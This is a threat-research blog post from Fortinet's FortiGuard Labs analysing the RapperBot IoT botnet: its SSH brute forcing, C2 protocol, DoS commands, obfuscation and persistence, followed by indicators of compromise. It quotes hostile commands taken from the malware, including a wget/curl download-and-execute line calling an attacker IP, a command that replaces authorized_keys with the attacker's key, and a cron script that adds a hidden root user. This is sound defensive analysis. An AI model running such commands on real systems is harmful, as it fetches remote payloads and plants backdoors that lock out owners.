So RapperBot, What Ya Bruting For?

fortinet.com/blog/threat-research/rapperbot-malware-discovery

August 3, 2022

FortiGuard Labs has been tracking a rapidly evolving IoT malware family known as “RapperBot” since mid-June 2022. This family borrows heavily from the original Mirai source code, but what separates it from other IoT malware families is its built-in capability to brute force credentials and gain access to SSH servers instead of Telnet as implemented in Mirai.

In addition, recent samples show that its developers have started adding code to maintain persistence, which is rarely done in other Mirai variants. This provides threat actors with continued access to infected devices via SSH even after the device is rebooted or the malware has been removed.

Affected Platforms: Linux
Impacted Users: Any organization
Impact: Remote attackers gain control of the vulnerable systems
Severity Level: Critical

This article reveals how this threat infects and persists on a victim device, as well as interesting changes that make us question the real intention of the threat actors.

Discovery

In June 2022, FortiGuard Labs encountered IoT malware samples with SSH-related strings, something not often seen in other IoT threat campaigns. What piqued our interest more was the size of the code referencing these strings in relation to the code used for DDoS attacks, which usually comprises most of the code in other variants.

Upon further analysis, we discovered that this malware family, dubbed "RapperBot,” is designed to function primarily as an SSH brute forcer with limited DDoS capabilities. As is typical of most IoT malware, it targets ARM, MIPS, SPARC, and x86 architectures.

The name “RapperBot” comes from an early July report from CNCERT where an embedded URL to a YouTube rap music video was found in older samples. The samples of RapperBot released after this report do not contain this URL.

Hello From the Other Side

RapperBot heavily reuses parts of the Mirai source code, but its features and implementation details, e.g., the Command & Control (C2) command protocol, differs significantly from the original Mirai and typical Mirai-based variants monitored by FortiGuard Labs.

Unlike the majority of Mirai variants, which natively brute force Telnet servers using default or weak passwords, RapperBot exclusively scans and attempts to brute force SSH servers configured to accept password authentication. The bulk of the malware code contains an implementation of an SSH 2.0 client that can connect and brute force any SSH server that supports Diffie-Hellmann key exchange with 768-bit or 2048-bit keys and data encryption using AES128-CTR.

A distinctive feature of the brute forcing implementation in RapperBot is the use of “SSH-2.0-HELLOWORLD” to identify itself to the target SSH server during the SSH Protocol Exchange phase. The appearance of this RapperBot in mid-June coincides with the observation of this same client identification string by SANS Internet Storm Center in their honeypot logs.

Earlier samples had the brute-forcing credential list hardcoded into the binary. From July onwards, samples now retrieve this list from another port on the C2 server. This allows the threat actors to continually add new SSH credentials without having to update infected devices with new samples. This port number ranges from 4343 to 4345 in the latest samples.

Once RapperBot successfully brute forces an SSH server, the valid credentials are reported to the C2 server on a separate port (currently 48109) without executing further commands on the remote victim.

In late June, however, FortiGuard Labs found some samples that attempted to self-propagate via a remote binary downloader post-compromise. The commands executed on the compromised SSH server are shown below.

sh
enable
shell
debug shell
cmd

wget http://2[.]58[.]149[.]116/w -O- | sh; curl http://2[.]58[.]149[.]116/c -O- | sh

For unknown reasons, this propagation functionality was removed in samples collected a few days later and has not been seen in subsequent samples. As with the original Mirai, we suspect the threat actors have implemented a separate loader system that would subsequently connect to the victim to download and execute the bot client.

Never Gonna Give You Up

Since mid-July, RapperBot has switched from self-propagation to maintaining remote access into the brute-forced SSH servers. It runs a shell command to replace remote victims’ ~/.ssh/authorized_keys with one containing the threat actors’ SSH public key with the comment “helloworld,” as shown below.

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAACAQC/yU0iqklqw6etPlUon4mZzxslFWq8G8sRyluQMD3i8tpQWT2cX/mwGgSRCz7HMLyxt87olYIPemTHc47hdTBfj89FeHJGGm1KpWg8lrXeMW+5jIXTFmEFhbJ18wc25Dcds4QCM0DvZGr/Pg4+kqJ0gLyqYmB2fdNzBcU05QhhWW6tSuYcXcyAz8Cp7qTqThFFHbdxdqqrWy6fNt8q/cgI30NBa5W2LyZ4b1v6324IEJuxImARIxTc96Igaf30LUza8kbZyc3bewY6IsFUN1PjQJcJi0ubVLyWyyJ554Tv8BBfPdYFJYUSVVT4yX2p7L6iRpW212eZmqLMSoR5a2a/tO2s1giIlb+0EHtFWc2QH7yz/ZBjnun7opIoslLVvYJ9cxMoLeLr5Ig+zny+IEA3x090xtcL62X0jea6bZze6oVuOTCBijuyvOM6ROZ6s/wl4CQAOSLDeFIP5L1paP9V1XLaYLDBAodNaUPFfTxggH3tZrnnU8Dge5/1JNa08F3WNUPM1S1x8L2HMatwc822J1PqJH8OqGTVjdWe40mD2osRgLo1EOfP/SFBTD5VEo95K2ZLQ== helloworld">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~;

Public keys stored in ~/.ssh/authorized_keys allow anyone with the corresponding private key to connect and authenticate to a SSH server without needing to supply a password. This presents a threat to compromised SSH servers as threat actors can access them even after SSH credentials have been changed or SSH password authentication is disabled. Moreover, since the file is replaced, all existing authorized keys are deleted, which prevents legitimate users from accessing the SSH server via public key authentication.

Apart from maintaining access to every SSH server that it brute forces, RapperBot is also very intent on retaining its foothold on any devices on which it is executed. Samples from mid-July append the same aforementioned SSH key to the local "~/.ssh/authorized_keys" on the infected device upon execution. This allows RapperBot to maintain its access to these infected devices via SSH even after a device reboot or the removal of RapperBot from the device – something that is atypical to most Mirai variants. In an attempt to better hide in plain sight, the latest samples use a more innocuous comment "system key generated by server 20220709" for the public key instead of “helloworld.”

In the latest RapperBot samples, the malware also started adding the root user "suhelper” to the infected device by directly writing to “/etc/passwd” and “/etc/shadow/”, further allowing the threat actor to take complete control of the device. In conjunction, it adds the root user account every hour by writing the following script to “/etc/cron.hourly/0” in the event that other users (or botnets) attempt to remove their

account from the victim system. The command to add the root user is provided below.

```
#!/bin/sh

useradd -u 0 -g 0 -o -d / suhelper -p '$1$1OJBlhUV$E9DMK0xdoZb8W8wVOibPQ/' >/dev/null 2>&1
```

Figure 1 illustrates how the latest samples of RapperBot work. Dotted lines indicate potential actions that FortiGuard Labs assesses that the threat actor could perform but have not been observed in the wild.

Figure 1: RapperBot execution flow

You Can't See Me

While early samples had strings in plaintext, subsequent samples added extra obfuscation to the strings by building them on the stack. This prevents common analysis tools and detection techniques from extracting human-readable strings from binary files (Figure 2).

Figure 2: String encoding in RapperBot samples

Furthermore, these latest samples implemented an additional layer of Mirai-style XOR encoding to hide these strings from memory scanners during execution.

While most Mirai and Gafgyt botnet operators, like Keksec, tend to include strings identifying themselves within the malware samples, the developers of this malware maintain a relatively low profile (apart from occasional references to rap music).

Network Protocol

RapperBot communicates with its C2 server via TCP requests at separate ports to receive commands (443 in the latest samples), download SSH credential lists, or report valid credentials during SSH brute forcing.

The network protocol for commands is explained in further detail below.

Each request contains a bot ID, a 32-byte value hardcoded in the binary. FortiGuard Labs observed two IDs as follows:

d4 1c 74 44 70 95 28 ff f0 98 ae 4e 6f 92 ba d5 0f cd 56 29 c5 12 53 a1 fe 46 53 c7 0b b5 18 27

f6 b7 0b 00 14 77 35 f9 8d 6d 5d c4 bd 23 88 7e cf 5e 02 ce 54 5f e7 b1 e6 3f 2a 16 71 b6 eb 9a (a separate cluster seen only in late December 2021)

As a side note, pivoting on these bot IDs allowed us to find older samples from November 2021. However, the SSH brute forcing capability was only seen in samples from mid-June 2022.

RapperBot starts by sending a registration packet to the C2 server. This includes the argument (referred to as "source" by Mirai) used when the binary was executed in the victim system, which usually provides some basic contextual info about its execution. For instance, "ssh.wget.arm7" would tell the C2 that the binary was spread via SSH protocol, downloaded via the wget utility, and is of ARM architecture.

The succeeding communication uses the following structure:

```
struct rapperbot_registration {

    byte bot_id[32];

    int command_code;

    source [32];

};
```

Here are the command codes supported by RapperBot:

- **0x00**: Register (used by the client)
- **0x01**: Keep-Alive/Do nothing
- **0x02:** Stop all DoS attacks and terminate the client
- **0x03**: Perform a DoS attack
- **0x04**: Stop all DoS attacks

Right after the registration packet, the client sends another request to notify the C2 that the client is ready to receive commands. The C2 server usually responds with a keep-alive command to acknowledge the request (Figure 3).

Figure 3: RapperBot client-server communication

Besides the keep-alive command, we did not observe any other commands from the C2 server during our analysis.

However, RapperBot does support a very minimal set of DoS attacks, including plain UDP and TCP STOMP flood attacks that are very similar to Mirai's implementation.

The attack command structure is as follows:

```
struct rapperbot_attack_command {

    byte bot_id[32];

    int command_code;  // 0x03
    byte vector; // type of DoS attack
    ushort target_port;
    int duration;
    int target_ip;
};
```

Mystery Motivation

FortiGuard Labs has been monitoring this threat for over a month. During that time, it has undergone several interesting changes that raise more questions than answers when attempting to pinpoint the primary motivation of the threat actors in launching this campaign.

At one point, samples were observed where the DDoS attack capabilities were entirely removed and added back a week later. Could the DDoS functionality have been retained for masquerading as a typical DDoS botnet to avoid drawing too much attention? It is also possible that this whole campaign is still a work in progress.

Additionally, self-propagation was removed after a few days in late June, with the current focus on aggressively retaining continued access to brute-forced SSH servers. Are the threat actors more interested in collecting compromised SSH devices than expanding their botnet?

On top of that, we have not seen additional payloads delivered after brute forcing. We can only speculate on why the threat actors are amassing a rapidly growing collection of compromised SSH servers. Over 3,500 unique IPs have been observed in the past 1.5 months attempting to scan and brute-force SSH servers with the SSH-2.0-HELLOWORLD client identification string. IPs from the US, Taiwan, and South Korea comprised half of the observed IPs (Figure 4).

Figure 4: Scanner IP Count from mid-June 2022 to late July 2022

Conclusion

Although this threat heavily borrows code from Mirai, it has features that set it apart from its predecessor and its variants. Its ability to persist in the victim system gives threat actors the flexibility to use them for any malicious purpose they desire.

Due to some significant and curious changes that RapperBot has undergone, its primary motivation is still a bit of a mystery. Regardless, since its primary propagation method is brute forcing SSH credentials, this threat can easily be mitigated by setting strong passwords for devices or disabling password authentication for SSH (where possible).

FortiGuard Labs will continue to monitor RapperBot's development.

Fortinet Protections

Fortinet customers are protected by the following:

- The FortiGuard Antivirus service detects and blocks this threat as ELF/Mirai and Linux/Mirai.
- The FortiGuard Web Filtering Service blocks the C2 servers and downloaded URLs.

FortiGuard IP Reputation and Anti-Botnet Security Service proactively block these attacks by aggregating malicious source IP data from the Fortinet distributed network of threat sensors, CERTs, MITRE, cooperative competitors, and other global sources that collaborate to provide up-to-date threat intelligence about hostile sources.

IOCs

Files

92ae77e9dd22e7680123bb230ce43ef602998e6a1c6756d9e2ce5822a09b37b4
a31f4caa0be9e588056c92fd69c8ac970ebc7e85a68615b1d9407a954d4df45d
e8d06ac196c7852ff71c150b2081150be9996ff670550717127db8ab855175a8

23a415d0ec6d3131f1d537836d3c0449097e98167b18fbdbf2efca789748818a
c83f318339e9c4072010b625d876558d14eaa0028339db9edf12bbcafe6828bb
05c78eaf32af9647f178dff981e6e4e43b1579d95ccd4f1c2f1436dbfa0727ad
88bbb772b8731296822646735aacbfb53014fbb7f90227b44523d7577e0a7ce6
e8f1e8ec6b94ea54488d5f714e71e51d58dcdfe4be3827c55970d6f3b06edf73
23256f231f3d91b0136b44d649b924552607a29b43a195024dbe6cde5b4a28ad
77b2e5fb5b72493bde35a6b29a66e6250b6a5a0c9b9c5653957f64a12c793cd5
dcdeedee4736ec528d1a30a585ec4a1a4f3462d6d25b71f6c1a4fef7f641e7ae
ebb860512a55c1cdc8be1399eec44c4481aedb418f15dbda4612e6d38e9b9010
9d234e975e4df539a217d1c4386822be1f56cea35f7dd2aa606ae4995894da42
1975851c916587e057fa5862884cbac3fa1e80881ddd062392486f5390c86865
8380321c1bd250424a0a167e0f319511611f73b53736895a8d3a2ad58ffcd5d5
f5ff9d1261af176d7ff1ef91aa8c892c70b40caa02c17a25de22539e9d0cdd26
2298071b6ba7baa5393be064876efcdbd9217c212e0c764ba62a6f0ffc83cc5a
2479932a6690f070fa344e5222e3fbb6ad9c880294d5b822d7a3ec27f1b8b8d5
1d5e6624a2ce55616ef078a72f25c9d71a3dbc0175522c0d8e07233115824f96
746106403a98aea357b80f17910b641db9c4fedbb3968e75d836e8b1d5712a62
ddf5aff0485f395c7e6c3de868b15212129962b4b9c8040bef6679ad880e3f31
e56edaa1e06403757e6e2362383d41db4e4453aafda144bb36080a1f1b899a02
55ff25b090dc1b380d8ca152428ba28ec14e9ef13a48b3fd162e965244b0d39b
8e9f87bb25ff83e4ad970366bba47afb838028f7028ea3a7c73c4d08906ec102
d86d158778a90f6633b41a10e169b25e3cb1eb35b369a9168ec64b2d8b3cbeec
ff09cf7dfd1dc1466815d4df098065510eec504099ebb02b830309067031fe04

Download URLs

hxxp://31[.]44[.]185[.]235/x86
hxxp://31[.]44[.]185[.]235/mips
hxxp://31[.]44[.]185[.]235/arm7
hxxp://2[.]58[.]149[.]116/arm
hxxp://2[.]58[.]149[.]116/spc
hxxp://2[.]58[.]149[.]116/mips
hxxp://2[.]58[.]149[.]116/x86_64
hxxp://2[.]58[.]149[.]116/ssh/arm7
hxxp://2[.]58[.]149[.]116/ssh/mips
hxxp://2[.]58[.]149[.]116/ssh/x86
hxxp://2[.]58[.]149[.]116/ssh/spc
hxxp://194[.]31[.]98[.]244/ssh/new/spc
hxxp://194[.]31[.]98[.]244/ssh/new/x86
hxxp://194[.]31[.]98[.]244/ssh/new/mips
hxxp://194[.]31[.]98[.]244/ssh/new/arm7
hxxp://194[.]31[.]98[.]244/ssh/new/arm
hxxp://194[.]31[.]98[.]244/ssh/new/x86
hxxp://194[.]31[.]98[.]244/ssh/new/mips
hxxp://194[.]31[.]98[.]244/ssh/new/arm7
hxxp://194[.]31[.]98[.]244/ssh/new/arm
hxxp://185[.]225[.]73[.]196/ssh/new/arm
hxxp://185[.]225[.]73[.]196/ssh/new/arm7
hxxp://185[.]225[.]73[.]196/ssh/new/mips
hxxp//185[.]225[.]73[.]196/ssh/new/x86

C2

31[.]44[.]185[.]235
2[.]58[.]149[.]116
194[.]31[.]98[.]244
185[.]225[.]73[.]196

Threat Actor SSH public key

AAAAB3NzaC1yc2EAAAADAQABAAACAQC/yU0iqklqw6etPlUon4mZzxslFWq8G8sRyluQMD3i8tpQWT2cX/mwGgSRCz7HMLyxt87olYIPemTIRE
GGm1KpWg8lrXeMW+5jIXTFmEFhbJ18wc25Dcds4QCM0DvZGr/Pg4+kqJ0gLyqYmB2fdNzBcU05QhhWW6tSuYcXcyAz8Cp73JmN6TcPuVqHeF
NBa5W2LyZ4b1v6324IEJuxImARIxTc96Igaf30LUza8kbZyc3bewY6IsFUN1PjQJcJi0ubVLyWyyJ554Tv8BBfPdY4jqCr4PzaJ2Rc1JFJYUSVVT4yX2

gilIb+0EHtFWc2QH7yz/ZBjnun7opIoslLVvYJ9cxMoLeLr5Ig+zny+IEA3x090xtcL62X0jea6btVnYo7UN2BARziisZze6oVuOTCBijuyvOM6ROZ6s/wl4(
BAodNaUPFfTxggH3tZrnnU8Dge5/1JNa08F3WNUPM1S1x8L2HMatwc82x35jXyBSp3AMbdxMPhvyYI8v2J1PqJH8OqGTVjdWe40mD2osRgLo1E

Threat Actor root user

/etc /passwd suhelper:x:0:0::/:

/etc /shadow suhelper:$1$1OJBlhUV$E9DMK0xdoZb8W8wVOibPQ/:19185:0:99999:7:::

Learn more about Fortinet's FortiGuard Labs threat research and intelligence organization and the FortiGuard Security Subscriptions and Services portfolio.